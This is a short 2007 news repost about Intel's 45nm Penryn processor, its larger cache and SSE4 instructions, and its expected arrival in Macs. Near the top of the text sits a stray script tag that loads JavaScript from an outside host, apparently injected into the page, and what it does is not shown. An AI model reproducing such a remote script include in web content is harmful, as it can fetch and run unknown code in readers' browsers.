Penryn Bound For Macs As Early As 2H 2007

"Intel Corp. has taken the wraps off of its new Penryn 45 nanometer processor that could be a cure-all for performance and power roadblocks threatening to frustrate the personal computer industry over next few years -- and a reality in shipping Macs by the end of 2007. Read on to find out more... "

Published: 30th January 2007 | Source: AppleInsider | Author: Matthew Fogg

News <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 30/01/07
Author: PV5150
Source: AppleInsider

Yesterday we brought you the news about Intel's new 45nm Penryn processor. While fundamentally a mirror of the Core 2 architecture introduced in mid-2006, Penryn's nearly doubled chip density compared to existing 65 nanometer versions both reduces the delays in crunching instructions and leaves space for more features.

The updated chips will contain a whopping 12MB of second-level cache on a dual-core model, up 50 percent from the Core 2 Duo. They'll also contain a new set of instructions titled SSE4 that will help with media decoding and other vector code.

Fully-functional processors are already being used in prototype machines. In total, Intel said fifteen different chips are in the works for systems ranging from workstations and servers to heat- and power-sensitive laptops.

"At least some of these designs are headed to the Mac platform. Breaking with Apple's tradition of absolute secrecy in advance of official releases, the chipmaker revealed that it had specifically booted and run Mac OS X on the new processor design. Unsurprisingly, no specific testbed models were mentioned; however, the sweeping nature of the Penryn overhaul points to Apple receiving the die-shrunk Core 2 and Xeon systems as soon as the summer's end."

Interesting news for our Mac users; feel free to comment on this article in our forum